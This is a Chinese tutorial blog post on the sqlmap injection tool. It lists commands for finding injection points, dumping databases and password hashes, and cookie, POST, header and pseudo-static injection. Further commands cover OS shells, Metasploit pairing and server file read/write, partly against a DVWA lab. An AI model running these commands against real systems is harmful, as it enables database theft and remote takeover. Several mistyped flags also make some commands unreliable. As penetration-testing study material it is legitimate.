热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

SQLmap自动化注入工具命令详解(第28-29天实战演练)

SQL注入工具如SQLMap等在网络安全测试中广泛应用。SQLMap是一款开源的自动化SQL注入工具,支持12种不同的数据库,具体支持的数据库类型可在其插件目录中查看。作为当前最强大的注入工具之一,SQLMap在实际应用中具有极高的效率和准确性。

SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等

SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好用的!!

支持的注入类型:布尔  时间  报错  联合  堆查询   内联

可以获取用户名   密码  权限   角色     数据库(表   字段  内容)

可以爆破识别密文数据

getshell

命令执行

脱库/删库

 

内置文档介绍:

doc   介绍文档

extra     sqlmap额外的功能,运行cmd执行命令

lib   sqlmap的核心功能代码

plugins   包含12种数据库识别程序

data   存放一些攻击过程中使用的工具或者命令

procs  包含了mysql  mssql  oracle  postgersql  这四种数据库的触发程序

shell  远程命令和后门

txt  表名字典  列名字典   ua字典

udf  存放攻击载荷 payload

xml  存放检测的脚本

tamper   包含各种绕WAF的处理脚本

thirdparty  包含了第三方插件   颜色  优化  等等

 

SQLMAP工作流程:

1)初始化

2)开始检测

1>  检测之前是否注入过(会把检测的URL默认存放在用户家目录.sqlmapoutput,可以指定存放目录    --output-dir 参数可以指定存放目录)

2>  解析URL,判断该URL是否可访问

3>  检测是否有WAF

sqlmup -u "目录URL" --identify-waf

sqlmap -u "目录URL" --check-waf

3)执行用户输入的参数

-u   指定URL

-p   指定参数

-v   指定显示的级别

-m   批量测试

-p   指定测试参数

-r   读取文件

--dbs   数据库

--current-db   当前数据库

--tables   表名

--columns   列名

--dump  获取数据

--batch   跳过问询(yes)直接执行

--DBMS   指定数据库类型

--current-user   当前数据库

--users   所有用户

--passwords   数据库密码

--hostname  系统名称

--baner   数据库信息

--roles   数据库用户角色

--level   测试等级

--delay 2   延时两秒注入

 

步骤详解

1)判断注入点:sqlmap -u "目标URL"     当看到探测结果中有环境参数(系统类型、数据库类型)则表名有注入点

2)查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

3)获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

4)获取当前数据库下的表:sqlmap -u "目标URL" -D 库名 --dbms mysql --tables

5)获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

6)获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用逗号隔开)

7COOKIE型注入

python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --COOKIE="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52" 

 

POST型注入的sqlmap利用方法

拦截数据包保存txt文件

python sqlmap.py -r post.txt -p "uname"  -r读取指定的文件,-p告诉sqlmap测试哪个参数)"

 

COOKIE注入

python sqlmap.py -r post_COOKIE.txt --level 2

python sqlmap.py -u "URL" --COOKIE="user=1" --level 2

--level=LEVEL  执行测试的等级(1-5,默认是1

 

XFF注入

python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3

python sqlmap.py -r "post_xff.txt" --level 3

 

UA注入:

python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql

 

伪静态注入:

python sqlmap.py -u "URL/1*.html"   加个*

 

-v 0-6

0、只显示python错误以及严重的信息

1、同事显示基本信息和警告信息(默认)

2、同事显示debug信息。

3、同事显示注入的payload(建议使用次级别,可)

 

--risk 0-3

0-3共有四个风险等级

 

批量测试:

  python sqlmap.py -m piliang.txt

 

SQLMAP注入点执行系统命令或者交互式shell

(条件1、数据库有写文件权限   2、需要知道WEB站点路径{www}

sqlmap.py -u "target_url" --os-cmd=执行的命令    执行系统命令

sqlmap.py -u "target_url" --os-shell    获取系统的shell

sqlmap.py -u "target_url" --is-dba   判断当前用户是不是dba

sqlmap.py -u "target_url" --delay 2   延时两秒注入

sqlmap.py -u "target_url" --sql-querty=select vision()   执行SQL命令

sqlmap.py -u "target_url" --sql-shell     反弹SQLshell

 

sqlmap直连mysql数据库

sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users

 

sqlmap注入利用Access

Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容

python sqlmap.py -u "target_url" --tables

 

sqlmapmsf结合使用

sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework

msf存储路径:/usr/share/metasploit-framework

 

sqlmapBP的结合使用:

1、给BP代开抓包储存

技术分享图片

 

 

 

2、然后抓取目标URL

3、打开sqlmap输入如下命令:sqlmap.py -l "BP储存的数据包文件"  -batch

-l 表示从文件读取http请求,测试完之后的结果如下,并生成一个.csv格式的文件。

 

sqlmap读写文件

--file-read=(读取文件的绝对路径)  从后端的数据库管理系统文件读取文件(物理路径)

sqlmap.py -u "URL" --file-read=(读取文件的绝对路径)

--file-write=WFILE     编辑后端的数据库管理系统文件系统上的本地文件

--file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径

sqlmap.py -u "URL" --file-read=(写入目标机的绝对路径) --file-write=(读取攻击者的文件路径)

 


推荐阅读
  • 本文详细介绍如何使用Python进行配置文件的读写操作,涵盖常见的配置文件格式(如INI、JSON、TOML和YAML),并提供具体的代码示例。 ... [详细]
  • 本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。 ... [详细]
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • 深入理解Tornado模板系统
    本文详细介绍了Tornado框架中模板系统的使用方法。Tornado自带的轻量级、高效且灵活的模板语言位于tornado.template模块,支持嵌入Python代码片段,帮助开发者快速构建动态网页。 ... [详细]
  • PHP 5.2.5 安装与配置指南
    本文详细介绍了 PHP 5.2.5 的安装和配置步骤,帮助开发者解决常见的环境配置问题,特别是上传图片时遇到的错误。通过本教程,您可以顺利搭建并优化 PHP 运行环境。 ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • 深入理解OAuth认证机制
    本文介绍了OAuth认证协议的核心概念及其工作原理。OAuth是一种开放标准,旨在为第三方应用提供安全的用户资源访问授权,同时确保用户的账户信息(如用户名和密码)不会暴露给第三方。 ... [详细]
  • 本文详细分析了JSP(JavaServer Pages)技术的主要优点和缺点,帮助开发者更好地理解其适用场景及潜在挑战。JSP作为一种服务器端技术,广泛应用于Web开发中。 ... [详细]
  • 优化ListView性能
    本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ... [详细]
  • 深入理解 Oracle 存储函数:计算员工年收入
    本文介绍如何使用 Oracle 存储函数查询特定员工的年收入。我们将详细解释存储函数的创建过程,并提供完整的代码示例。 ... [详细]
  • CSS 布局:液态三栏混合宽度布局
    本文介绍了如何使用 CSS 实现液态的三栏布局,其中各栏具有不同的宽度设置。通过调整容器和内容区域的属性,可以实现灵活且响应式的网页设计。 ... [详细]
  • 本文详细介绍了如何解决Uploadify插件在Internet Explorer(IE)9和10版本中遇到的点击失效及JQuery运行时错误问题。通过修改相关JavaScript代码,确保上传功能在不同浏览器环境中的一致性和稳定性。 ... [详细]
  • Linux 系统启动故障排除指南:MBR 和 GRUB 问题
    本文详细介绍了 Linux 系统启动过程中常见的 MBR 扇区和 GRUB 引导程序故障及其解决方案,涵盖从备份、模拟故障到恢复的具体步骤。 ... [详细]
  • 2023 ARM嵌入式系统全国技术巡讲旨在分享ARM公司在半导体知识产权(IP)领域的最新进展。作为全球领先的IP提供商,ARM在嵌入式处理器市场占据主导地位,其产品广泛应用于90%以上的嵌入式设备中。此次巡讲将邀请来自ARM、飞思卡尔以及华清远见教育集团的行业专家,共同探讨当前嵌入式系统的前沿技术和应用。 ... [详细]
  • 本文基于刘洪波老师的《英文词根词缀精讲》,深入探讨了多个重要词根词缀的起源及其相关词汇,帮助读者更好地理解和记忆英语单词。 ... [详细]
author-avatar
处女同乡会同乡情
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有